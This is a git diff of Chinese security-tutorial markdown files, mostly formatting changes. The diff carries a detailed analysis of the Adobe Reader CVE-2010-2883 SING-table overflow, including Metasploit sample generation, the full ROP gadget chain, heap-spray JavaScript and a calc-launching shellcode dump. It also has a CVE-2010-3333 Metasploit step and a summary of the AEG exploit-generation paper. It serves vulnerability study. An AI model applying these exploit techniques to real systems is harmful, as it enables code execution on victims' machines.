+msf exploit(windows/fileformat/adobe_cooltype_sing) > exploit [*] Creating 'cve20102883.pdf' file... [+] cve20102883.pdf stored at /home/firmy/.msf4/local/cve20102883.pdf ``` 使用漏洞版本的 Adobe Reader 打开样本,即可弹出计算器。 - ## 漏洞分析 -#### PDF 文件格式 + +### PDF 文件格式 + 首先当然得知道 PDF 格式是怎样的。 -``` + +```text |------------| | header | |------------| @@ -61,14 +64,17 @@ msf exploit(windows/fileformat/adobe_cooltype_sing) > exploit | trailer | |------------| ``` + 由 4 个部分组成: + - header:文件的第一行,指明了 PDF 文件的版本号,通常格式是 `%PDF-1.x`。 - body:文件的主体部分,通常由对象文件组成,包括文本、图片和其他的多媒体文件等。 - xref table:包含了对文件中所有对象的引用,通过它可以知道文件中有多少对象、对象的偏移以及字节长度。 - trailer:包含指向交叉引用表以及关键对象的指针,并以 `%%EOF` 标记文件结束。 当我们对一个 PDF 文件执行 Save(保存)操作时,新添加的信息将会附加到原文件的末尾,即所谓的增量保存。这些信息主要由 3 部分(body changes, xref, trailer)组成,此时的 PDF 文件如下所示: -``` + +```text |--------------| | header | ------------ |--------------| @@ -93,10 +99,12 @@ msf exploit(windows/fileformat/adobe_cooltype_sing) > exploit | trailer | ------------ |--------------| ``` + 这样子虽然方便,但体积会越来越大。此时我们可以执行 Save as(另存为)操作,将所有的更新信息合并成一个完整的新的 PDF,格式回到一开始的结构,体积也相应的有所减小。 例如可以利用工具 PDFStreamDumper 解析我们的样本,其 xref 和 trailer 如下所示: -``` + +```text xref 0 15 0000000000 65535 f @@ -121,12 +129,15 @@ startxref %%EOF . ``` + 该节区的对象的起始编号为 0,包含的对象个数为 15 个,每个对象在交叉引用表中占据一行。我们看到每行分为三列,分别表示对象在 PDF 中的文件偏移、对象的生成号和是否使用标志(`f` 表示 free,n 表示 used)。第一行对应的对象 ID 为 0,生成号总是 65535,而最后一行的生成号总是 0。 -#### TTF 文件格式 +### TTF 文件格式 + 根据漏洞通告,我们知道是 TTF 字体的 SING 表引起的溢出。所以再来看一下 TTF 文件格式。 TTF 包含有一个表 TableDirectory,其中有一个 TableEntry 结构项,包含了资源标记、校验和、偏移量和每个表的大小: + ```c typedef sturct { @@ -146,7 +157,9 @@ typedef struct TableEntry entries[numTables]; } TableDirectory; ``` + 另外,SING 表的结构如下: + ```c typedef struct { @@ -185,16 +198,20 @@ $ xxd -g1 hexC0E5.tmp | grep -A3 "00000110" 00000140: 45 a2 04 7d 13 4b 30 18 98 95 ed 9f 3e cc 50 8b E..}.K0.....>.P. -#### 栈溢出 +### 栈溢出 + 我们已经知道栈溢出发生在 SING 表的处理中,于是在 IDA 中打开 CoolType.dll,搜索字符串 "SING": -``` + +```text .rdata:0819DB4C ; char aSing[] .rdata:0819DB4C aSing db 'SING',0 ; DATA XREF: sub_8015AD9+D2↑o .rdata:0819DB4C ; sub_803DCF9+7B↑o ... .rdata:0819DB51 align 4 ``` + 对每个数据引用进行检查,发现 `sub_803DCF9+7B↑o` 的下方存在危险函数 `strcat`: -``` + +```text .text:0803DCF9 ; __unwind { // loc_8184A54 .text:0803DCF9 push ebp .text:0803DCFA sub esp, 104h ; 分配栈空间 104h @@ -254,7 +271,9 @@ $ xxd -g1 hexC0E5.tmp | grep -A3 "00000110" .text:0803DDA7 mov [ebp+108h+Dest], 0 .text:0803DDAB call strcat ; 造成溢出 ``` + 在调用 strcat 函数时,未对 uniqueName 的字符串长度进行检查,直接将其复制到固定大小的栈空间,造成溢出。strcat 函数原型如下: + ```c char *strcat(char *dest, const char *src); @@ -262,11 +281,14 @@ char *strncat(char *dest, const char *src, size_t n); ``` 下面打开 OllyDbg 调试一下,先来看看函数 `sub_8021B06` 做了什么,在 `0803DD7D` 设置断点,然后在 Reader 中打开样本,程序就断了下来: -``` + +```text 0803DD7D E8 843DFEFF call CoolType.08021B06 0803DD82 8B45 DC mov eax,dword ptr ss:[ebp-0x24] ``` + 此时的 this 指针指向 TTF 对象: +
 d ecx:
 
@@ -280,12 +302,15 @@ d 021854B0:
 
然后 F8 单步步过,eax 里是函数的返回值 `0012E4B4`,其值等于 this 指针的地址。 +
 d 0012E4B4:
 
 0012E4B4  38 B9 7D 04 DF 1D 00 00 00 00 00 00 00 00 00 00  8箎?..........
 
+ 下一句给 eax 赋值为一个指向 SING 表的指针,即 this 指针的内容。 +
 d 047DB938:
 
@@ -331,7 +356,8 @@ d 047DB938:
 所以这个函数的作用已经清楚了,通过传入的 tag 字符串,在 this 指针指向的 TTF 对象里找到对应的表目录项,使用表地址重置 this 指针。
 
 接下来就是 strcat 函数了。
-```
+
+```text
 0803DD9F    83C0 10         add eax,0x10
 0803DDA2    50              push eax
 0803DDA3    8D45 00         lea eax,dword ptr ss:[ebp]
@@ -339,24 +365,29 @@ d 047DB938:
 0803DDA7    C645 00 00      mov byte ptr ss:[ebp],0x0
 0803DDAB    E8 483D1300     call 
 ```
+
 根据上面的 SING 表可以看到,`uniqueName` 原本只应该有最多 `0x1c` 个字节,但 strcat 根据 "\x00" 来作为字符串的结束,将导致复制 `0x22d` 个字节到栈上,造成溢出。
 
-#### ROP
+### ROP
+
 我们对复制到栈上的这段数据(`0012E4D8`~`0012E714`)设置内存访问断点。并开启 run trace 进行函数跟踪。
 
 继续运行,然后我们记录下函数调用:
-```
+
+```text
 CoolType.08016BDE --> CoolType.0801BB21 --> CoolType.0808B116 --> icucnv36.4A80CB38
 ```
 
-```
+```text
 0803DEAC    50              push eax
 0803DEAD    53              push ebx
 0803DEAE    57              push edi
 0803DEAF    E8 2A8DFDFF     call CoolType.08016BDE
 ```
+
 `CoolType.08016BDE`:
-```
+
+```text
 08016C46    6A 01           push 0x1
 08016C48    53              push ebx
 08016C49    53              push ebx
@@ -368,8 +399,10 @@ CoolType.08016BDE --> CoolType.0801BB21 --> CoolType.0808B116 --> icucnv36.4A80C
 08016C53    FF75 E8         push dword ptr ss:[ebp-0x18]
 08016C56    E8 C64E0000     call CoolType.0801BB21
 ```
+
 `CoolType.0801BB21`:
-```
+
+```text
 0801BB24    FF75 20         push dword ptr ss:[ebp+0x20]
 0801BB27    8B4D 08         mov ecx,dword ptr ss:[ebp+0x8]
 0801BB2A    FF75 1C         push dword ptr ss:[ebp+0x1C]
@@ -381,8 +414,10 @@ CoolType.08016BDE --> CoolType.0801BB21 --> CoolType.0808B116 --> icucnv36.4A80C
 0801BB3E    FF75 0C         push dword ptr ss:[ebp+0xC]
 0801BB41    FF10            call dword ptr ds:[eax]                  ; CoolType.0808B116
 ```
+
 最终来到 `CoolType.0808B116` 里的关键点:
-```
+
+```text
 0808B11D    8B7D 08         mov edi,dword ptr ss:[ebp+0x8]
 ...
 0808B2E3    8B47 3C         mov eax,dword ptr ds:[edi+0x3C]         ; eax = ds:[edi+0x3C]
@@ -400,8 +435,10 @@ CoolType.08016BDE --> CoolType.0801BB21 --> CoolType.0808B116 --> icucnv36.4A80C
 0808B307    50              push eax
 0808B308    FF10            call dword ptr ds:[eax]                  ; icucnv36.4A80CB38
 ```
+
 通过最后的 call 指令,程序跳转到了 ROP 链。回忆一下 uniqueName 域从 `0012E4D8` 开始:
-```
+
+```text
 4A80CB38    81C5 94070000   add ebp,0x794   ; ebp = 0012E4DC
 4A80CB3E    C9              leave           ; esp = 0012E4E0, ebp = C2525D73
 4A80CB3F    C3              retn            ; esp = 0012E4E4, eip = 4A82A714
@@ -411,13 +448,16 @@ d esp:
 0012E4E4  0C 0C 0C 0C BC 94 B0 83 45 A2 04 7D 13 4B 30 18  ....紨皟E?}K0
 0012E4F4  98 95 ED 9F 3E CC 50 8B AC FE B5 5C 8F 86 D5 26  槙頍>蘌嫭\弳?
 ```
+
 于是跳转到 `4A82A714`:
-```
+
+```text
 4A82A714    5C              pop esp         ; esp = 0C0C0C0C
 4A82A715    C3              retn            ; esp = 0C0C0C10, eip = 4A8063A5
 ```
 
 在进入下面的内容前,我们再来看一个东西,即 `eax` 是由 `edi` 控制的,通过对函数调用的回溯,可以看到程序对 edi 的处理,它的值在整个过程中都是不变的,而且 edi+0x3C 正好存放第一个 gadget 的地址。所以只要这个地址被覆盖,就可以控制 EIP 了。
+
 
 d edi+0x3C:
 
@@ -428,12 +468,14 @@ d 0012E6D0:
 0012E6D0  38 CB 80 4A 44 B6 49 EA A5 2D 16 26 4B B1 FA D2  8藔JD禝辚-&K柄    <-- ROP
 
-#### Heap spray +### Heap spray + 上面的 gadget 返回后,堆栈就被转移到 heap spray 的地方了。 Heap spray 是在 shellcode 的前面加上大量的 slide code(滑板指令),组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流,使得程序执行到堆上,最终将导致 shellcode 的执行。 -我们来实际看一下(加粗的地方是后面会用到的 gadgets 地址): +我们来实际看一下(加粗的地方是后面会用到的 gadgets 地址): +
 0C0C0BE0  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................    <-- NOP slide
 0C0C0BF0  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
@@ -477,6 +519,7 @@ Heap spray 是在 shellcode 的前面加上大量的 slide code(滑板指令
 
通过 PDFStreamDumper 可以看到内嵌的 JavaScript,将变量还原后代码如下: + ```javascript var shellcode = unescape( '%u4141%u4141%u63a5%u4a80%u0000 ...省略大量字符... a1%ucb42%u9024%u220e%u10c3%u3ab4' ); var rop = unescape( "%u0c0c%u0c0c" ); @@ -492,23 +535,29 @@ for (count=0;count<0x1f0;count++) memory[count]=bigblock+"s"; ``` 接下来程序将依次执行下面的 gadgets: -``` + +```text 4A8063A5 59 pop ecx ; esp = 0C0C0C14, ecx = 4A8A0000 4A8063A6 C3 retn ; esp = 0C0C0C18, eip = 4A802196 ``` -``` + +```text 4A802196 8901 mov dword ptr ds:[ecx],eax 4A802198 C3 retn ; eip = 4A801F90 ``` -``` + +```text 4A801F90 58 pop eax ; eax = 4A84903C <&KERNEL32.CreateFileA> 4A801F91 C3 retn ; esp = 0C0C0C24, eip = 4A80B692 ``` -``` + +```text 4A80B692 - FF20 jmp dword ptr ds:[eax] ; kernel32.CreateFileA ``` + 调用函数 `kernel32.CreateFileW` 创建文件,各参数如下所示: -``` + +```text 0C0C0C04 7FFDFC00 |FileName = "iso88591" 0C0C0C08 10000000 |Access = GENERIC_ALL 0C0C0C0C 00000000 |ShareMode = 0 @@ -519,39 +568,48 @@ for (count=0;count<0x1f0;count++) memory[count]=bigblock+"s"; ``` 然后通过同样的方法调用 `CreateFileMapping`: -``` + +```text 4A8063A5 59 pop ecx ; esp = 0C0C0C4C, ecp = 4A801064 4A8063A6 C3 retn ; esp = 0C0C0C50, eip = 4A842DB2 ``` -``` + +```text 4A842DB2 97 xchg eax,edi 4A842DB3 C3 retn ; esp = 0C0C0C54, eip = 4A802AB1 ``` -``` + +```text 4A802AB1 5B pop ebx ; esp = 0C0C0C58, ebx = 00000008 4A802AB2 C3 retn ; esp = 0C0C0C5C, eip = 4A80A8A6 ``` -``` + +```text 4A80A8A6 213C5C and dword ptr ss:[esp+ebx*2],edi 4A80A8A9 75 03 jnz short icucnv36.4A80A8AE 4A80A8AB B0 01 mov al,0x1 4A80A8AD C3 retn ``` -``` + +```text 4A80A8A6 213C5C and dword ptr ss:[esp+ebx*2],edi ... 4A80A8C8 32C0 xor al,al 4A80A8CA C3 retn ; esp = 0C0C0C60, eip = 4A801F90 ``` -``` + +```text 4A801F90 58 pop eax ; esp = 0C0C0C64, eax = 4A849038 <&KERNEL32.CreateFileMappingA> 4A801F91 C3 retn ; esp = 0C0C0C68, eip = 4A80B692 ``` -``` + +```text 4A80B692 - FF20 jmp dword ptr ds:[eax] ; kernel32.CreateFileMappingA ``` + 调用函数 `kernel32.CreateFileMappingW` 创建内存映射,各参数如下所示: -``` + +```text 0C0C0C40 000003D4 |hFile = 000003D4 0C0C0C44 00000000 |pSecurity = NULL 0C0C0C48 00000040 |Protection = PAGE_EXECUTE_READWRITE @@ -561,33 +619,41 @@ for (count=0;count<0x1f0;count++) memory[count]=bigblock+"s"; ``` 接下来是调用 `MapViewOfFile` 的过程: -``` + +```text 4A8063A5 59 pop ecx ; esp = 0C0C0C8C, ecx = 4A801064 4A8063A6 C3 retn ; esp = 0C0C0C90, eip = 4A842DB2 ``` -``` + +```text 4A842DB2 97 xchg eax,edi 4A842DB3 C3 retn ; esp = 0C0C0C94, eip = 4A802AB1 ``` -``` + +```text 4A802AB1 5B pop ebx ; esp = 0C0C0C98, ebx = 00000008 4A802AB2 C3 retn ; esp = 0C0C0C9C, eip = 4A80A8A6 ``` -``` + +```text 4A80A8A6 213C5C and dword ptr ss:[esp+ebx*2],edi ... 4A80A8C8 32C0 xor al,al 4A80A8CA C3 retn ; esp = 0C0C0CA0, eip = 4A801F90 ``` -``` + +```text 4A801F90 58 pop eax ; esp = 0C0C0CA4, eax = 4A849030 <&KERNEL32.MapViewOfFile> 4A801F91 C3 retn ; esp = 0C0C0CA8, eip = 4A80B692 ``` -``` + +```text 4A80B692 - FF20 jmp dword ptr ds:[eax] ; kernel32.MapViewOfFile ``` + 调用函数 `kernel32.MapViewOfFileEx` 将文件映射到内存映射地址空间,各参数如下所示: -``` + +```text 0C0C0C8C 000003D8 |hMapObject = 000003D8 0C0C0C90 00000022 |AccessMode = 0x22 0C0C0C94 00000000 |OffsetHigh = 0x0 @@ -597,63 +663,77 @@ for (count=0;count<0x1f0;count++) memory[count]=bigblock+"s"; ``` 最后调用函数 `memcpy` 将真正的 shellcode 复制到 `MapViewOfFile` 返回的地址处。这是一段可读可写可执行的内存,从而绕过 DEP。另外由于所使用的 gadgets 都来自 `icucnv36.dll` 模块,该模块不受 ASLR 的影响,所以同时也相当于绕过了 ASLR。 -``` + +```text 4A8063A5 59 pop ecx ; esp = 0C0C0CC8, ecx = 4A8A0004 4A8063A6 C3 retn ; esp = 0C0C0CCC, eip = 4A802196 ``` -``` + +```text 4A802196 8901 mov dword ptr ds:[ecx],eax 4A802198 C3 retn ; esp = 0C0C0CD0, eip = 4A8063A5 ``` -``` + +```text 4A8063A5 59 pop ecx ; esp = 0C0C0CD4, ecx = 4A801064 4A8063A6 C3 retn ; esp = 0C0C0CD8, eip = 4A842DB2 ``` -``` + +```text 4A842DB2 97 xchg eax,edi 4A842DB3 C3 retn ; esp = 0C0C0CDC, eip = 4A802AB1 ``` -``` + +```text 4A802AB1 5B pop ebx ; esp = 0C0C0CE0, ebx = 00000030 4A802AB2 C3 retn ; esp = 0C0C0CE4, eip = 4A80A8A6 ``` -``` + +```text 4A80A8A6 213C5C and dword ptr ss:[esp+ebx*2],edi ... 4A80A8C8 32C0 xor al,al 4A80A8CA C3 retn ; esp = 0C0C0CE8, eip = 4A801F90 ``` -``` + +```text 4A801F90 58 pop eax ; esp = 0C0C0CEC, eax = 4A8A0004 4A801F91 C3 retn ; esp = 0C0C0CF0, eip = 4A80A7D8 ``` -``` + +```text 4A80A7D8 8B00 mov eax,dword ptr ds:[eax] 4A80A7DA C3 retn ; esp = 0C0C0CF4, eip = 4A8063A5 ``` -``` + +```text 4A8063A5 59 pop ecx ; esp = 0C0C0CF8, ecx = 4A801064 4A8063A6 C3 retn ; esp = 0C0C0CFC, eip = 4A842DB2 ``` -``` + +```text 4A842DB2 97 xchg eax,edi 4A842DB3 C3 retn ; esp = 0C0C0D00, eip = 4A802AB1 ``` -``` + +```text 4A802AB1 5B pop ebx ; esp = 0C0C0D04, ebx = 00000020 4A802AB2 C3 retn ; esp = 0C0C0D08, eip = 4A80A8A6 ``` -``` + +```text 4A80A8A6 213C5C and dword ptr ss:[esp+ebx*2],edi ... 4A80A8C8 32C0 xor al,al 4A80A8CA C3 retn ; esp = 0C0C0D0C, eip = 4A8063A5 ``` -``` + +```text 4A8063A5 59 pop ecx ; esp = 0C0C0D10, ecx = 4A801064 4A8063A6 C3 retn ; esp = 0C0C0D14, eip = 4A80AEDC ``` -``` + +```text 4A80AEDC 8D5424 0C lea edx,dword ptr ss:[esp+0xC] ; edx = 0C0C0D20 4A80AEE0 52 push edx 4A80AEE1 50 push eax @@ -663,48 +743,60 @@ for (count=0;count<0x1f0;count++) memory[count]=bigblock+"s"; 4A80AEEE 83C4 10 add esp,0x10 4A80AEF1 C3 retn ``` -``` + +```text 4A801064 C3 retn ; esp = 0C0C0D04, eip = 4A80AEEE ``` -``` + +```text 4A80AEEE 83C4 10 add esp,0x10 4A80AEF1 C3 retn ; esp = 0C0C0D18, eip = 4A801F90 ``` -``` + +```text 4A801F90 58 pop eax ; eax = 00000034 4A801F91 C3 retn ; esp = 0C0C0D20, eip = 4A80D585 ``` -``` + +```text 4A80D585 03C2 add eax,edx ; eax = 0C0C0D54 4A80D587 C3 retn ; esp = 0C0C0D24, eip = 4A8063A5 ``` -``` + +```text 4A8063A5 59 pop ecx ; ecx = 4A801064 4A8063A6 C3 retn ; esp = 0C0C0D2C, eip = 4A842DB2 ``` -``` + +```text 4A842DB2 97 xchg eax,edi 4A842DB3 C3 retn ; esp = 0C0C0D30, eip = 4A802AB1 ``` -``` + +```text 4A802AB1 5B pop ebx ; ebx = 0000000A 4A802AB2 C3 retn ; esp = 0C0C0D38, eip = 4A80A8A6 ``` -``` + +```text 4A80A8A6 213C5C and dword ptr ss:[esp+ebx*2],edi ... 4A80A8C8 32C0 xor al,al 4A80A8CA C3 retn ; esp = 0C0C0D3C, eip = 4A801F90 ``` -``` + +```text 4A801F90 58 pop eax ; eax = 4A849170 <&MSVCR80.memcpy> 4A801F91 C3 retn ; esp = 0C0C0D44, eip = 4A80B692 ``` -``` + +```text 4A80B692 - FF20 jmp dword ptr ds:[eax] ; msvcr80.memcpy ``` + 调用函数 `memcpy`,各参数如下所示: -``` + +```text 0C0C0D44 03E90000 /CALL 到 memcpy 0C0C0D48 03E90000 |dest = 03E90000 0C0C0D4C 0C0C0D54 |src = 0C0C0D54 @@ -712,7 +804,8 @@ for (count=0;count<0x1f0;count++) memory[count]=bigblock+"s"; ``` 然后这段复制过去的 shellcode 会被解密,并跳到 `03E900A3` 执行: -``` + +```text 03E9000E B1 31 mov cl,0x31 03E90010 315A 18 xor dword ptr ds:[edx+0x18],ebx 03E90013 035A 18 add ebx,dword ptr ds:[edx+0x18] @@ -721,7 +814,8 @@ for (count=0;count<0x1f0;count++) memory[count]=bigblock+"s"; 03E9001B FC cld 03E9001C E8 82000000 call 03E900A3 ``` -``` + +```text d 03E90000: 03E90000 DB C1 D9 74 24 F4 BB 81 F4 49 9E 5A 29 C9 B1 31 哿賢$艋侓I瀂)杀1 @@ -740,8 +834,10 @@ d 03E90000: 03E900D0 53 FF D5 63 61 6C 63 2E 65 78 65 00 0C 0C 0C 0C S誧alc.exe..... 03E900E0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................ ``` + 最后弹出计算器: -``` + +```text 03E900A3 5D pop ebp ; ebp = 03E90021 03E900A4 6A 01 push 0x1 03E900A6 8D85 B2000000 lea eax,dword ptr ss:[ebp+0xB2] ; eax = 03E900D3 "calc.exe" @@ -750,16 +846,19 @@ d 03E90000: 03E900B2 FFD5 call ebp ``` -#### 补丁 +### 补丁 + 利用 BinDiff 插件进行二进制比对,可以看到在修复漏洞时使用函数 `sub_813391E` 替换了 `strcat`: -``` + +```text 0.92 0.97 GI-JE-C 0803DD33 sub_803DD33 0803DCF9 sub_803DCF9 call reference matching 50 52 51 220 254 247 72 84 83 ``` -![](../pic/7.1.8_diff.png) +![img](../pic/7.1.8_diff.png) 跟进函数 `sub_813391E`: -``` + +```text .text:0813391E ; int __cdecl sub_813391E(char *Str, char *Source, int) .text:0813391E sub_813391E proc near ; CODE XREF: sub_803C375+244↑p .text:0813391E ; sub_803C375+2BB↑p ... @@ -794,11 +893,12 @@ d 03E90000: .text:0813394B retn .text:0813394B sub_813391E endp ``` + 使用更安全的 `strncat` 替代 `strcat`,限制字符串长度为 `0x104` 字节,并且根据字符串长度动态地调整栈空间。 - ## 参考资料 + - 《漏洞战争》 -- https://www.cvedetails.com/cve/CVE-2010-2883/ +- - [PDF File Format: Basic Structure](https://resources.infosecinstitute.com/pdf-file-format-basic-structure/) - [TrueType 1.0 Font Files](https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/minuxs/TrueType%201.0%20Font%20Files.pdf) diff --git a/doc/7.1.9_ms_word_2010-3333.md b/doc/7.1.9_ms_word_2010-3333.md index 1a8f63f..1e1c6f4 100644 --- a/doc/7.1.9_ms_word_2010-3333.md +++ b/doc/7.1.9_ms_word_2010-3333.md @@ -5,14 +5,14 @@ - [漏洞分析](#漏洞分析) - [参考资料](#参考资料) - [下载文件](../src/exploit/7.1.9_ms_word_2010-3333) ## 漏洞描述 + cve-2010-3333 漏洞是一个栈溢出漏洞,该漏洞是由于 Microsoft Office 软件中的 Open XML 文件格式转换器在处理 RTF 中的 "pFragments" 属性时存在栈溢出,可能导致任意代码执行。受影响的版本有:MS Office 2003 SP3、Office 2007 SP0、Office 2010 等。 - ## 漏洞复现 + | |推荐使用的环境 | 备注 | | --- | --- | --- | | 操作系统 | Windows XP SP3 | 体系结构:32 位 | @@ -21,7 +21,8 @@ cve-2010-3333 漏洞是一个栈溢出漏洞,该漏洞是由于 Microsoft Offi | 漏洞软件 | MS Office | 版本号:2003 SP3 | 我们利用 Metasploit 来生成拒绝服务攻击样本: -``` + +```text msf > search cve-2010-3333 Name Disclosure Date Rank Description ---- --------------- ---- ----------- @@ -41,8 +42,8 @@ msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > exploit [+] cve20103333.rtf stored at /home/firmy/.msf4/local/cve20103333.rtf ``` - ## 漏洞分析 ## 参考资料 -- https://www.cvedetails.com/cve/CVE-2010-2333 + +- diff --git a/doc/8.10_aeg.md b/doc/8.10_aeg.md index 8b6b578..0d78fd1 100644 --- a/doc/8.10_aeg.md +++ b/doc/8.10_aeg.md @@ -1,51 +1,53 @@ # 8.10 AEG: Automatic Exploit Generation - [paper](http://security.ece.cmu.edu/aeg/aeg-current.pdf) ## 简介 + - 这篇论文向我们展示了如何将控制流劫持攻击的漏洞利用生成模型化为一个形式化验证问题。 - 提出了预处理符号执行,这是一种新的符号执行技术。 - 提出了一种通用的漏洞利用生成方法。 - 构建了 AEG,这是第一个能够自动发现漏洞并生成利用获得 shell 的端到端系统。 -#### 挑战及解决方案 +### 挑战及解决方案 + - Source code analysis alone is inadequate and insufficient. - We combine source-code level analysis to improve scalability in finding bugs and binary and runtime information to exploit programs. - Finding the exploitable paths among an infinite number of possible paths - - We have developed preconditioned symbolic execution, a novel technique which targets paths that are more likely to be exploitable. + - We have developed preconditioned symbolic execution, a novel technique which targets paths that are more likely to be exploitable. - We have developed a priority queue path prioritization technique that uses heuristics to choose likely more exploitable paths first. - An end-to-end system. - Our AEG implementation is a single command line that analyzes source code programs, generates symbolic execution formulas, solves them, performs binary analysis, generates binary-level runtime constraints, and formats the output as an actual exploit string that can be fed directly into the vulnerable program. - ## AEG 概述 + The example application is the setuid root `iwconfig` utility from the Wireless Tools package, a program consisting of about 3400 lines of C source code. -![](../pic/8.10_iwconfig.png) +![img](../pic/8.10_iwconfig.png) `iwconfig` has a classic strcpy buffer overflow vulnerability in the get info function (line 15). And our system goes through the following analysis steps: + 1. AEG searches for bugs at the source code level by exploring execution paths. Specifically, AEG executes `iwconfig` using symbolic arguments (`argv`) as the input sources. 2. After following the path `main → print_info → get_info`, AEG reaches line 15, where it detects an out-of-bounds memory error on variable `ifr.ifr_name`. AEG solves the current path constraints and generates a concrete input that will trigger the detected bug. 3. AEG performs dynamic analysis on the `iwconfig` binary using the concrete input generated in step 2. It extracts runtime information about the memory layout, such as the address of the overflowed buffer (`ifr.ifr_name`) and the address of the return address of the vulnerable function (`get_info`). 4. AEG generates the constraints describing the exploit using the runtime information generated from the previous step: 1) the vulnerable buffer (`ifr.ifr_name`) must contain our shellcode, and 2) the overwritten return address must contain the address of the shellcode. Next, AEG appends the generated constraints to the path constraints and queries a constraint solver for a satisfying answer. 5. The satisfying answer gives us the exploit string. Finally, AEG runs the program with the generated exploit and verifies that it works. If the constraints were not solvable, AEG would resume searching the program for the next potential vulnerability. - ## 形式化建模 + At its core, the automatic exploit generation (AEG) challenge is a problem of finding program inputs that result in a desired exploited execution state. -![](../pic/8.10_input.png) +![img](../pic/8.10_input.png) In AEG, we are only concerned with the subset of unsafe states that are exploitable, represented by the circle labeled Πbug∧Πexploit. The intuition is that preconditioned symbolic execution limits the space searched to a smaller box. Logically, we would be guaranteed to find all possible exploits when Πprec is less restrictive than the exploitability condition: Πbug(x)∧Πexploit(x) ⇒ Πprec(x). - ## 实现方法 + Our approach to the AEG challenge consists of six components: Pre-Process, Src-Analysis, Bug-Find, DBA, Exploit-Gen, and Verify. -![](../pic/8.10_design.png) +![img](../pic/8.10_design.png) - Pre-Process: src → (Bgcc, Bllvm). - The source program (src) is compiled down to 1) a binary Bgcc, for which AEG will try to generate a working exploit and 2) a LLVM bytecode file Bllvm, which will be used by our bug finding infrastructure. @@ -62,51 +64,59 @@ Our approach to the AEG challenge consists of six components: Pre-Process, Src-A The high-level algorithm for solving the AEG challenge: -![](../pic/8.10_algorithm.png) - +![img](../pic/8.10_algorithm.png) ## Bug-Find: 以漏洞利用生成为目的的程序分析 + Bug-Find finds bugs with symbolic program execution, which explores the program state space one path at a time. However, there are an infinite number of paths to potentially explore. AEG addresses this problem with two novel algorithms: + - First, we present a novel technique called preconditioned symbolic execution that constrains the paths considered to those that would most likely include exploitable bugs. - Second, we propose novel path prioritization heuristics for choosing which paths to explore first with preconditioned symbolic execution. -#### Preconditioned Symbolic Execution +### Preconditioned Symbolic Execution + Preconditioned symbolic execution is a novel method to target symbolic execution towards a certain subset of the input state space. The state space subset is determined by the precondition predicate (Πprec); inputs that do not satisfy Πprec will not be explored. In AEG, we have developed and implemented 4 different preconditions for efficient exploit generation: + - None. There is no precondition and the state space is explored as normal. - Known Length. The precondition is that inputs are of known maximum length. We use static analysis to automatically determine this precondition. - Known Prefix. The precondition is that the symbolic inputs have a known prefix. - Concolic Execution. Concolic execution can be viewed as a specific form of preconditioned symbolic execution where the precondition is specified by a single program path as realized by an example input. -![](../pic/8.10_bof.png) +![img](../pic/8.10_bof.png) Consider the example program above. Suppose that the `input` buffer contains 42 symbolic bytes. Lines 3-4 represent a tight symbolic loop that will eventually spawn 42 different interpreters with traditional symbolic execution, each one having a different path predicate. Each path predicate will describe a different condition about the string length of the symbolic `input` buffer. Preconditioned symbolic execution avoids examining the loop iterations that will not lead to a buffer overflow by imposing a length precondition. Thus, we only need a single interpreter to explore the entire loop. -#### Path Prioritization: Search Heuristics +### Path Prioritization: Search Heuristics + All pending paths are inserted into a priority queue based on their ranking, and the next path to explore is always drawn out of the priority queue. We present two new path prioritization heuristics we have developed: buggy-path-first and loop exhaustion. + - Buggy-Path-First. Exploitable bugs are often preceded by small but unexploitable mistakes. The observation that one bug on a path means subsequent statements are also likely to be buggy (and hopefully exploitable) led us to the buggy-path-first heuristic. - Loop Exhaustion. The loop-exhaustion strategy gives higher priority to an interpreter exploring the maximum number of loop iterations, hoping that computations involving more iterations are more promising to produce bugs like buffer overflows. +### Environment Modelling: Vulnerability Detection in the Real World -#### Environment Modelling: Vulnerability Detection in the Real World AEG models most of the system environments that an attacker can possibly use as an input source. Therefore, AEG can detect most security relevant bugs in real programs. Our support for environment modeling includes file systems, network sockets, standard input, program arguments, and environment variables. Additionally, AEG handles most common system and library function calls. - ## DBA, Exploit-Gen and Verify: 漏洞利用生成 -#### DBA: Dynamic Binary Analysis + +### DBA: Dynamic Binary Analysis + DBA takes in three inputs: 1) the target executable (Bgcc) that we want to exploit; 2) the path constraints that lead up to the bug (Πbug); and 3) the names of vulnerable functions and buffers. It then outputs a set of runtime information: 1) the address of the return address of the vulnerable function (&retaddr); 2) the address of the vulnerable buffer where the overwrite starts (bufaddr); and 3) the stack memory contents between them (µ). -#### Exploit-Gen +### Exploit-Gen + Exploit-Gen takes in two inputs to produce an exploit: the unsafe program state containing the path constraints (Πbug) and low-level runtime information R. It generates exploit formulas (Πbug∧Πexploit) for four types of exploits: 1) stack-overflow return-to-stack, 2) stack-overflow returnto-libc, 3) format-string return-to-stack, 4) format-string return-to-libc. -![](../pic/8.10_algorithm2.png) +![img](../pic/8.10_algorithm2.png) + +### Verify -#### Verify VERIFY takes in two inputs: 1) the exploit constraints Πbug∧Πexploit, and 2) the target binary. It outputs either a concrete working exploit, i.e., an exploit that spawns a shell, or ⊥, if AEG fails to generate the exploit. diff --git a/doc/8.11_aslp.md b/doc/8.11_aslp.md index efce91f..63a6e9c 100644 --- a/doc/8.11_aslp.md +++ b/doc/8.11_aslp.md @@ -1,6 +1,5 @@ # 8.11 Address Space Layout Permutation (ASLP): Towards Fine-Grained Randomization of Commodity Software - [paper](https://www.acsac.org/2006/papers/44.pdf) ## 简介 diff --git a/doc/8.12_aslr_on_the_line.md b/doc/8.12_aslr_on_the_line.md index 71c57be..097e255 100644 --- a/doc/8.12_aslr_on_the_line.md +++ b/doc/8.12_aslr_on_the_line.md @@ -1,6 +1,5 @@ # 8.12 ASLR on the Line: Practical Cache Attacks on the MMU - [paper](https://www.cs.vu.nl/~giuffrida/papers/anc-ndss-2017.pdf) ## 简介 diff --git a/doc/8.13_reverse_engineering.md b/doc/8.13_reverse_engineering.md index 6d72226..dcc47d8 100644 --- a/doc/8.13_reverse_engineering.md +++ b/doc/8.13_reverse_engineering.md @@ -1,14 +1,15 @@ # 8.13 New Frontiers of Reverse Engineering - 